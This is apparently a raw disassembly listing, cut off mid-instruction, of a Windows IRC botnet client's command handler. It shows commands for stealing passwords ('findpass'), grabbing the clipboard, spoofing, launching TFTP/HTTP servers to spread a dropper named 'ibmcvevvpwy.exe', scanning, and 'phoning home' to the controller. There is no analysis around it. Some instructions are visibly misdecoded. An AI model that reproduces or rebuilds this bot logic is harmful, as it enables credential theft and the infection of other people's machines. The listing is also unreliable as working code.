--------------------------------------------------------------------------- loc_4033CC: ; CODE XREF: seg000:004033B2j push edi push offset dword_42D874 call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_4034CB cmp [ebp-8], ebx jnz short loc_403400 push ebx push dword ptr [ebp-4] push offset dword_42D860 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_403400: ; CODE XREF: seg000:004033E4j mov eax, [ebp+20h] cmp [eax], bl jz short loc_40340A inc eax jmp short loc_40340F ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: seg000:00403405j mov eax, offset aEmpty ; "<Empty>" loc_40340F: ; CODE XREF: seg000:00403408j push eax push ebx lea eax, [ebp-2C0h] push offset aD_S ; "%d. %s" push eax call sub_41BA76 push 1 lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push offset unk_42D82C call sub_4152AE add esp, 28h loc_403449: ; CODE XREF: seg000:004036CEj ; seg000:00404A3Bj mov eax, [ebp+esi-8Ch] cmp eax, ebx mov [ebp+18h], eax jz loc_401F82 push edi push offset aSpoof ; "spoof" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_404B47 mov esi, [ebp+18h] push offset aOff ; "off" push esi call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_404A4D lea eax, [ebp-2C0h] push offset unk_42D7F8 push eax mov ds:dword_4D137C, ebx call sub_41BA76 pop ecx pop ecx loc_4034A1: ; CODE XREF: seg000:00404AEEj ; seg000:00404B14j ... cmp [ebp-8], ebx jnz loc_409753 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 loc_4034C3: ; CODE XREF: seg000:00408AA4j ; seg000:00408B08j add esp, 14h jmp loc_409753 ; --------------------------------------------------------------------------- loc_4034CB: ; CODE XREF: seg000:004033DBj push edi push offset aGetclip ; "getclip" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403F24 push edi push offset aGc ; "gc" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403F24 push edi push offset aFlusharp ; "flusharp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403F07 push edi push offset aFarp ; "farp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403F07 push edi push offset aFlushdns ; "flushdns" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403EC9 push edi push offset aFdns ; "fdns" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403EC9 push edi push offset aCurrentip ; "currentip" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403E8F push edi push offset aCip ; "cip" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403E8F push edi push offset aRloginserver ; "rloginserver" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403D33 push edi push offset aRlogin ; "rlogin" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403D33 push edi push offset aHttpserver ; "httpserver" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403BBE push edi push offset aHttp ; "http" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403BBE push edi push offset aTftpserver ; "tftpserver" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403A8D push edi push offset aTftp ; "tftp" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403A8D push edi push offset aCrash ; "crash" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_403657 lea eax, [ebp-2C0h] push offset dword_42D750 push eax call sub_41BA76 cmp [ebp-8], ebx pop ecx pop ecx jnz short loc_403636 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_403636: ; CODE XREF: seg000:00403618j lea eax, [ebp-2C0h] push eax call sub_4152AE mov dword ptr [esp], offset aCrash ; "crash" push dword ptr [ebp+esi-7Ch] call sub_41C260 jmp loc_4098D3 ; --------------------------------------------------------------------------- loc_403657: ; CODE XREF: seg000:00403600j push edi push offset aFofofo2 ; "fofofo2" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aSfdgdfgdfa ; "sfdgdfgdfa" call sub_41C260 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_4036AE lea eax, [ebp-0C0h] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push dword ptr [ebp+0Ch] call sub_409920 loc_4036A6: ; CODE XREF: seg000:00401F55j add esp, 0Ch jmp loc_401F82 ; --------------------------------------------------------------------------- loc_4036AE: ; CODE XREF: seg000:00403690j push edi push offset aFindpass ; "findpass" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_4036D4 push edi push offset aFp ; "fp" call sub_41C260 pop ecx test eax, eax pop ecx jnz loc_403449 loc_4036D4: ; CODE XREF: seg000:004036BDj push dword ptr [ebp-88h] lea eax, [ebp-0F50h] push 80h push eax call sub_41BB70 mov eax, [ebp+0Ch] push offset unk_42D6D4 mov [ebp-0F54h], eax mov eax, [ebp-4] mov [ebp-0ECCh], eax mov eax, [ebp-8] mov [ebp-0EC8h], eax lea eax, [ebp-2C0h] push 200h push eax call sub_41BB70 push ebx lea eax, [ebp-2C0h] push 26h push eax call sub_40AF71 add esp, 24h mov [ebp-0ED0h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0F54h] push ebx push eax push offset sub_416F7D push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0ED0h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40377C call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D698 jmp loc_40831C ; --------------------------------------------------------------------------- loc_403774: ; CODE XREF: seg000:00403782j push 32h call ds:dword_428064 ; Sleep loc_40377C: ; CODE XREF: seg000:00403761j cmp [ebp-0EC4h], ebx jz short loc_403774 jmp loc_4023FC ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: seg000:00403666j ; seg000:0040367Bj mov al, ds:byte_432D72 mov [ebp+8], ebx cmp al, bl mov edx, offset byte_432D72 jz loc_401F82 mov ecx, edx loc_4037A0: ; CODE XREF: seg000:004037A8j inc dword ptr [ebp+8] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F82 mov [ebp+18h], edx mov esi, offset aBo_0 ; "#bo-" loc_4037BA: ; CODE XREF: seg000:00403A66j push 0Bh call sub_40B1B3 pop ecx mov ecx, eax mov eax, 190h cdq idiv dword ptr [ebp+8] add eax, ecx cmp eax, 1F4h jle short loc_403809 push ecx lea eax, [ebp-2C0h] push offset unk_42D658 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 20h jmp loc_403A5D ; --------------------------------------------------------------------------- loc_403809: ; CODE XREF: seg000:004037D4j or dword ptr [ebp-72Ch], 0FFFFFFFFh cmp ds:dword_432A90, ebx mov dword ptr [ebp-730h], 64h mov dword ptr [ebp-744h], 5 mov dword ptr [ebp-740h], 320h mov [ebp+8], ebx jz short loc_40387A mov edi, offset dword_432A90 loc_40383E: ; CODE XREF: seg000:0040385Cj mov eax, [ebp+18h] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_403860 inc dword ptr [ebp+8] add edi, 40h cmp [edi], ebx jnz short loc_40383E jmp short loc_40387A ; --------------------------------------------------------------------------- loc_403860: ; CODE XREF: seg000:00403852j mov eax, [ebp+8] mov ecx, eax mov [ebp-72Ch], eax shl ecx, 6 mov ecx, ds:dword_432A90[ecx] mov [ebp-748h], ecx loc_40387A: ; CODE XREF: seg000:00403837j ; seg000:0040385Ej cmp [ebp-748h], ebx jz loc_403A83 push 10h lea eax, [ebp-2C8h] pop edi push eax lea eax, [ebp-2F4h] push eax mov [ebp-2C8h], edi push dword ptr [ebp+0Ch] call ds:dword_4CDB9C ; getsockname mov al, [ebp-8FBh] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2F0h], eax push dword ptr [ebp-2F0h] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-85Ch] push eax call sub_41B7E0 xor eax, eax cmp [ebp-8FBh], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-85Ch] push eax call sub_41C030 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_403922 loc_403900: ; CODE XREF: seg000:00403920j cmp eax, ebx jz short loc_403922 mov byte ptr [eax], 78h lea eax, [ebp-85Ch] push 30h push eax call sub_41C030 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_403900 loc_403922: ; CODE XREF: seg000:004038FEj ; seg000:00403902j mov eax, [ebp+0Ch] push dword ptr [ebp-88h] mov [ebp-74Ch], eax mov eax, [ebp-4] mov [ebp-724h], eax mov eax, [ebp-8] mov [ebp-720h], eax mov edi, 80h lea eax, [ebp-84Ch] push edi push eax mov dword ptr [ebp-71Ch], 1 call sub_41BB70 push offset dword_43FDB4 push esi call sub_41C260 add esp, 14h test eax, eax jz short loc_403984 push esi lea eax, [ebp-7CCh] push edi push eax call sub_41BB70 add esp, 0Ch jmp short loc_40398A ; --------------------------------------------------------------------------- loc_403984: ; CODE XREF: seg000:0040396Fj mov [ebp-7CCh], bl loc_40398A: ; CODE XREF: seg000:00403982j cmp [ebp-71Ch], ebx mov eax, offset aRandom ; "Random" jnz short loc_40399C mov eax, offset aSequential ; "Sequential" loc_40399C: ; CODE XREF: seg000:00403995j push dword ptr [ebp-730h] lea ecx, [ebp-85Ch] push dword ptr [ebp-740h] push dword ptr [ebp-744h] push dword ptr [ebp-748h] push ecx push eax lea eax, [ebp-2C0h] push offset unk_42D5D8 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 0Bh push eax call sub_40AF71 add esp, 2Ch mov [ebp-73Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-85Ch] push ebx push eax push (offset loc_40C1A1+1) push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-73Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_403A79 call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-2C0h] push offset unk_42D59C push eax call sub_41BA76 add esp, 0Ch loc_403A2F: ; CODE XREF: seg000:00403A81j cmp [ebp-8], ebx jnz short loc_403A50 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_403A50: ; CODE XREF: seg000:00403A32j lea eax, [ebp-2C0h] push eax call sub_4152AE pop ecx loc_403A5D: ; CODE XREF: seg000:00403804j add dword ptr [ebp+18h], 0Bh mov eax, [ebp+18h] cmp [eax], bl jnz loc_4037BA jmp loc_401F82 ; --------------------------------------------------------------------------- loc_403A71: ; CODE XREF: seg000:00403A7Fj push 32h call ds:dword_428064 ; Sleep loc_403A79: ; CODE XREF: seg000:00403A12j cmp [ebp-718h], ebx jz short loc_403A71 jmp short loc_403A2F ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: seg000:00403880j push offset unk_42D564 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_403A8D: ; CODE XREF: seg000:004035D6j ; seg000:004035EBj push 5 call sub_40B1B3 test eax, eax pop ecx jle short loc_403AA3 push offset unk_42D544 jmp loc_406E9B ; --------------------------------------------------------------------------- loc_403AA3: ; CODE XREF: seg000:00403A97j mov eax, [ebp+esi-8Ch] mov edi, 104h cmp eax, ebx jz short loc_403AC6 push eax lea eax, [ebp-2E50h] push edi push eax call sub_41BB70 add esp, 0Ch jmp short loc_403AD5 ; --------------------------------------------------------------------------- loc_403AC6: ; CODE XREF: seg000:00403AB1j lea eax, [ebp-2E50h] push edi push eax push ebx call near ptr 0B10000h dec edi loc_403AD5: ; CODE XREF: seg000:00403AC4j mov esi, [ebp+esi-88h] cmp esi, ebx jnz short loc_403AE5 mov esi, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe" loc_403AE5: ; CODE XREF: seg000:00403ADEj push esi lea eax, [ebp-2D4Ch] push edi push eax call sub_41BB70 mov eax, ds:dword_42A07C push 7Fh push dword ptr [ebp-88h] mov [ebp-2C40h], eax mov eax, [ebp+0Ch] mov [ebp-2C44h], ebx mov [ebp-2E54h], eax lea eax, [ebp-2C3Ch] push eax call sub_41B7E0 mov eax, [ebp-4] mov [ebp-2BBCh], eax mov eax, [ebp-8] mov [ebp-2BB8h], eax lea eax, [ebp-2E50h] push eax lea eax, [ebp-2C0h] push dword ptr [ebp-2C40h] push offset unk_42D510 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 5 push eax call sub_40AF71 add esp, 34h mov [ebp-2C48h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-2E54h] push ebx push eax push offset byte_411915 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-2C48h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_403BB1 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D4D4 jmp loc_405F42 ; --------------------------------------------------------------------------- loc_403BA9: ; CODE XREF: seg000:00403BB7j push 32h call ds:dword_428064 ; Sleep loc_403BB1: ; CODE XREF: seg000:00403B96j cmp [ebp-2BB4h], ebx jz short loc_403BA9 jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_403BBE: ; CODE XREF: seg000:004035ACj ; seg000:004035C1j mov edi, [ebp+esi-8Ch] cmp edi, ebx jz short loc_403BDD push edi call sub_41B969 test eax, eax pop ecx jz short loc_403BDD push edi call sub_41B969 pop ecx jmp short loc_403BE2 ; --------------------------------------------------------------------------- loc_403BDD: ; CODE XREF: seg000:00403BC7j ; seg000:00403BD2j mov eax, ds:dword_42A080 loc_403BE2: ; CODE XREF: seg000:00403BDBj mov esi, [ebp+esi-88h] mov [ebp-36C4h], eax xor eax, eax cmp [ebp-8F8h], bl setz al cmp esi, ebx mov [ebp-36B0h], eax jz short loc_403C15 lea eax, [ebp-37C8h] push esi push eax call sub_41BA76 pop ecx pop ecx jmp short loc_403C40 ; --------------------------------------------------------------------------- loc_403C15: ; CODE XREF: seg000:00403C02j lea eax, [ebp-4FF0h] push 104h push eax call near ptr 0B10000h mov esi, 858D5353h cmp al, 0FBh ; --------------------------------------------------------------------------- db 2 dup(0FFh), 53h ; --------------------------------------------------------------------------- push eax lea eax, [ebp-4FF0h] push eax call sub_41BBC1 add esp, 14h loc_403C40: ; CODE XREF: seg000:00403C13j lea eax, [ebp-37C8h] push eax call sub_41B1D0 cmp byte ptr [ebp+eax-37C9h], 5Ch pop ecx jnz short loc_403C6B lea eax, [ebp-37C8h] push eax call sub_41B1D0 pop ecx mov [ebp+eax-37C9h], bl loc_403C6B: ; CODE XREF: seg000:00403C55j push dword ptr [ebp-88h] mov esi, [ebp+0Ch] lea eax, [ebp-3A50h] mov [ebp-3A54h], esi push 80h push eax call sub_41BB70 mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-36B4h], eax lea eax, [ebp-37C8h] mov [ebp-36B8h], edi push eax push dword ptr [ebp-36C4h] push esi call sub_40AAF8 pop ecx push eax lea eax, [ebp-2C0h] push offset unk_42D498 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 3 push eax call sub_40AF71 add esp, 20h mov [ebp-36BCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3A54h] push ebx push eax push offset sub_40F477 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-36BCh] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_403D26 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D45C jmp loc_403E50 ; --------------------------------------------------------------------------- loc_403D1E: ; CODE XREF: seg000:00403D2Cj push 32h call ds:dword_428064 ; Sleep loc_403D26: ; CODE XREF: seg000:00403D0Bj cmp [ebp-36A8h], ebx jz short loc_403D1E jmp loc_403E5F ; --------------------------------------------------------------------------- loc_403D33: ; CODE XREF: seg000:00403582j ; seg000:00403597j mov edi, [ebp+esi-8Ch] cmp edi, ebx jz short loc_403D52 push edi call sub_41B969 test eax, eax pop ecx jz short loc_403D52 push edi call sub_41B969 pop ecx jmp short loc_403D57 ; --------------------------------------------------------------------------- loc_403D52: ; CODE XREF: seg000:00403D3Cj ; seg000:00403D47j mov eax, ds:dword_42A084 loc_403D57: ; CODE XREF: seg000:00403D50j mov [ebp-1820h], eax mov eax, [ebp+esi-88h] cmp eax, ebx jnz short loc_403D6E lea eax, [ebp-0C0h] loc_403D6E: ; CODE XREF: seg000:00403D66j push eax lea eax, [ebp-1960h] push 40h push eax call sub_41BB70 mov esi, [ebp+esi-84h] add esp, 0Ch cmp esi, ebx jnz short loc_403D90 mov esi, offset dword_43FDB4 loc_403D90: ; CODE XREF: seg000:00403D89j push esi lea eax, [ebp-1920h] push 100h push eax call sub_41BB70 push dword ptr [ebp-88h] lea eax, [ebp-19E0h] push 80h push eax call sub_41BB70 mov eax, [ebp-8] mov esi, [ebp+0Ch] mov edi, [ebp-4] add esp, 18h mov [ebp-180Ch], eax lea eax, [ebp-1960h] push eax mov [ebp-19E4h], esi push dword ptr [ebp-1820h] mov [ebp-1810h], edi push esi call sub_40AAF8 pop ecx push eax lea eax, [ebp-2C0h] push offset unk_42D420 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 9 push eax call sub_40AF71 add esp, 20h mov [ebp-181Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-19E4h] push ebx push eax push offset byte_410BEF push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-181Ch] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_403E85 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D3E4 loc_403E50: ; CODE XREF: seg000:00403D19j ; seg000:0040675Ej ... lea eax, [ebp-2C0h] push eax call sub_41BA76 add esp, 0Ch loc_403E5F: ; CODE XREF: seg000:00403D2Ej ; seg000:00403E8Dj ... cmp [ebp-8], ebx jnz loc_4023FC push ebx push edi loc_403E6A: ; CODE XREF: seg000:00407FF0j lea eax, [ebp-2C0h] push eax push dword ptr [ebp-88h] push esi jmp loc_406EC6 ; --------------------------------------------------------------------------- loc_403E7D: ; CODE XREF: seg000:00403E8Bj push 32h call ds:dword_428064 ; Sleep loc_403E85: ; CODE XREF: seg000:00403E42j cmp [ebp-1808h], ebx jz short loc_403E7D jmp short loc_403E5F ; --------------------------------------------------------------------------- loc_403E8F: ; CODE XREF: seg000:00403558j ; seg000:0040356Dj mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_403EA2 push esi call sub_41B969 jmp short loc_403EA9 ; --------------------------------------------------------------------------- loc_403EA2: ; CODE XREF: seg000:00403E98j push 0Bh call sub_40B1D2 loc_403EA9: ; CODE XREF: seg000:00403EA0j cmp eax, ebx pop ecx jz loc_409753 push eax push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40B8B2 jmp loc_4043A4 ; --------------------------------------------------------------------------- loc_403EC9: ; CODE XREF: seg000:0040352Ej ; seg000:00403543j mov eax, ds:dword_4CDB14 cmp eax, ebx jz short loc_403EEC call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp-2C0h] jz short loc_403EE5 push offset unk_42D3C0 jmp short loc_403EF7 ; --------------------------------------------------------------------------- loc_403EE5: ; CODE XREF: seg000:00403EDCj push offset unk_42D394 jmp short loc_403EF7 ; --------------------------------------------------------------------------- loc_403EEC: ; CODE XREF: seg000:00403ED0j push offset unk_42D368 lea eax, [ebp-2C0h] loc_403EF7: ; CODE XREF: seg000:00403EE3j ; seg000:00403EEAj ... push 200h push eax call sub_41BB70 jmp loc_406C7C ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: seg000:00403504j ; seg000:00403519j call sub_40AA20 test eax, eax lea eax, [ebp-2C0h] jz short loc_403F1D push offset unk_42D344 jmp short loc_403EF7 ; --------------------------------------------------------------------------- loc_403F1D: ; CODE XREF: seg000:00403F14j push offset unk_42D318 jmp short loc_403EF7 ; --------------------------------------------------------------------------- loc_403F24: ; CODE XREF: seg000:004034DAj ; seg000:004034EFj cmp [ebp-8], ebx jnz short loc_403F43 push ebx push dword ptr [ebp-4] push offset dword_42D300 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_403F43: ; CODE XREF: seg000:00403F27j push ebx push dword ptr [ebp-4] call sub_4183BA push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push offset dword_42D2E4 jmp loc_404271 ; --------------------------------------------------------------------------- loc_403F65: ; CODE XREF: seg000:00403388j ; seg000:0040339Dj push 0Ah call sub_40B1B3 test eax, eax pop ecx jle short loc_403F78 push offset unk_42D2B8 jmp short loc_403F99 ; --------------------------------------------------------------------------- loc_403F78: ; CODE XREF: seg000:00403F6Fj push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call loc_419E2F pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F94 push offset unk_42D290 jmp short loc_403F99 ; --------------------------------------------------------------------------- loc_403F94: ; CODE XREF: seg000:00403F8Bj push offset unk_42D270 loc_403F99: ; CODE XREF: seg000:00403F76j ; seg000:00403F92j ... lea eax, [ebp-2C0h] push eax call sub_41BA76 pop ecx pop ecx loc_403FA7: ; CODE XREF: seg000:004072CAj ; seg000:00408C15j cmp [ebp-8], ebx jnz short loc_403FC8 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] loc_403FC0: ; CODE XREF: seg000:0040886Ej call sub_409966 add esp, 14h loc_403FC8: ; CODE XREF: seg000:00403FAAj ; seg000:004041C5j ... lea eax, [ebp-2C0h] push eax call sub_4152AE jmp loc_4098D4 ; --------------------------------------------------------------------------- loc_403FD9: ; CODE XREF: seg000:0040335Ej ; seg000:00403373j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_40A6BD jmp loc_404292 ; --------------------------------------------------------------------------- loc_403FF2: ; CODE XREF: seg000:00403334j ; seg000:00403349j push dword ptr [ebp+esi-8Ch] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_416C90 jmp loc_404292 ; --------------------------------------------------------------------------- loc_40400F: ; CODE XREF: seg000:0040330Aj ; seg000:0040331Fj or edi, 0FFFFFFFFh call ds:dword_4280A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-8Ch] cmp esi, ebx mov [ebp+8], eax jz short loc_404038 push esi call sub_41B969 pop ecx mov edi, eax loc_404038: ; CODE XREF: seg000:0040402Dj mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404051 cmp edi, 0FFFFFFFFh jnz loc_409753 loc_404051: ; CODE XREF: seg000:00404046j push ebx call sub_41AA78 push eax lea eax, [ebp-2C0h] push offset dword_42D258 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 lea eax, [ebp-2C0h] push eax call sub_4152AE loc_40408E: ; CODE XREF: seg000:00407921j add esp, 28h jmp loc_409753 ; --------------------------------------------------------------------------- loc_404096: ; CODE XREF: seg000:004032E0j ; seg000:004032F5j push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_415B31 lea eax, [ebp-2C0h] push offset dword_42D238 push eax call sub_41BA76 add esp, 14h jmp loc_406EA9 ; --------------------------------------------------------------------------- loc_4040C0: ; CODE XREF: seg000:004032B6j ; seg000:004032CBj push 27h call sub_40B1B3 test eax, eax pop ecx jle short loc_4040F1 cmp [ebp-8], ebx jnz loc_401F82 push ebx push dword ptr [ebp-4] push offset unk_42D218 push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 jmp loc_408C2F ; --------------------------------------------------------------------------- loc_4040F1: ; CODE XREF: seg000:004040CAj push dword ptr [ebp-88h] lea eax, [ebp-0B28h] push 80h push eax call sub_41BB70 mov eax, [ebp+0Ch] mov esi, [ebp+esi-8Ch] mov [ebp-0B2Ch], eax mov eax, [ebp-4] mov [ebp-0AA0h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-0A9Ch], eax mov [ebp-0AA4h], ebx jz short loc_404152 push esi push offset aFull ; "full" call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_404152 mov dword ptr [ebp-0AA4h], 1 loc_404152: ; CODE XREF: seg000:00404135j ; seg000:00404146j lea eax, [ebp-2C0h] push offset dword_42D1F4 push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 27h push eax call sub_40AF71 add esp, 14h mov [ebp-0AA8h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-0B2Ch] push ebx push eax push offset sub_419AB6 push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-0AA8h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_4041D2 call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp-2C0h] push offset unk_42D1B8 push eax call sub_41BA76 add esp, 0Ch jmp loc_403FC8 ; --------------------------------------------------------------------------- loc_4041CA: ; CODE XREF: seg000:004041D8j push 32h call ds:dword_428064 ; Sleep loc_4041D2: ; CODE XREF: seg000:004041A8j cmp [ebp-0A98h], ebx jz short loc_4041CA jmp loc_403FC8 ; --------------------------------------------------------------------------- loc_4041DF: ; CODE XREF: seg000:0040328Cj ; seg000:004032A1j cmp [ebp-8], ebx jnz short loc_4041FE push ebx push dword ptr [ebp-4] push offset dword_42D19C push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 add esp, 14h loc_4041FE: ; CODE XREF: seg000:004041E2j push dword ptr [ebp+0Ch] call ds:dword_4CDC90 ; closesocket call ds:dword_4CDB50 ; WSACleanup call sub_41853D push ebx call ds:dword_428068 ; ExitProcess loc_404219: ; CODE XREF: seg000:00403262j ; seg000:00403277j push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call sub_41AC18 pop ecx pop ecx push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push offset dword_42D180 jmp short loc_404271 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: seg000:00403238j ; seg000:0040324Dj push ebx lea eax, [ebp-2C0h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_41AECC add esp, 0Ch push eax push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_409966 push offset dword_42D164 loc_404271: ; CODE XREF: seg000:00403F60j ; seg000:00404242j call sub_4152AE loc_404276: ; CODE XREF: seg000:00408977j add esp, 18h jmp loc_409753 ; --------------------------------------------------------------------------- loc_40427E: ; CODE XREF: seg000:0040320Ej ; seg000:00403223j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_41534E loc_404292: ; CODE XREF: seg000:00401EC5j ; seg000:00403FEDj ... add esp, 10h jmp loc_401F82 ; --------------------------------------------------------------------------- loc_40429A: ; CODE XREF: seg000:004031E4j ; seg000:004031F9j cmp [ebp-0Ch], ebx mov [ebp-1590h], bl jz short loc_4042D9 mov esi, [ebp+esi-8Ch] cmp esi, ebx jz short loc_4042D9 push esi push dword ptr [ebp-0Ch] call sub_41BAF0 pop ecx cmp eax, ebx pop ecx jz short loc_4042D9 push eax push offset aS_2 ; "%s" lea eax, [ebp-1590h] push 80h push eax call sub_41BB70 add esp, 10h loc_4042D9: ; CODE XREF: seg000:004042A3j ; seg000:004042AEj ... push dword ptr [ebp-88h] lea eax, [ebp-1610h] push 80h push eax call sub_41BB70 mov eax, [ebp+0Ch] push offset dword_42D14C mov [ebp-1614h], eax mov eax, [ebp-4] mov [ebp-150Ch], eax mov eax, [ebp-8] mov [ebp-1508h], eax lea eax, [ebp-2C0h] push eax call sub_41BA76 push ebx lea eax, [ebp-2C0h] push 25h push eax call sub_40AF71 add esp, 20h mov [ebp-1510h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-1614h] push ebx push eax push offset byte_41538F push ebx push ebx call ds:dword_42807C ; CreateThread mov ecx, [ebp-1510h] imul ecx, 234h cmp eax, ebx mov ds:dword_440B4C[ecx], eax jnz short loc_40437C call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_42D114 jmp loc_4098CE ; --------------------------------------------------------------------------- loc_404374: ; CODE XREF: seg000:00404382j push 32h call ds:dword_428064 ; Sleep loc_40437C: ; CODE XREF: seg000:00404361j cmp [ebp-1504h], ebx jz short loc_404374 jmp loc_401F82 ; --------------------------------------------------------------------------- loc_404389: ; CODE XREF: seg000:004031BAj ; seg000:004031CFj push dword ptr [ebp-4] push dword ptr [ebp-88h] push dword ptr [ebp+0Ch] call sub_415236 push offset dword_42D0FC call sub_4152AE loc_4043A4: ; CODE XREF: seg000:00403EC4j add esp, 10h jmp loc_409753 ; --------------------------------------------------------------------------- loc_4043AC: ; CODE XREF: seg000:00403190j ; seg000:004031A5j push dword ptr [ebp-88h] lea eax, 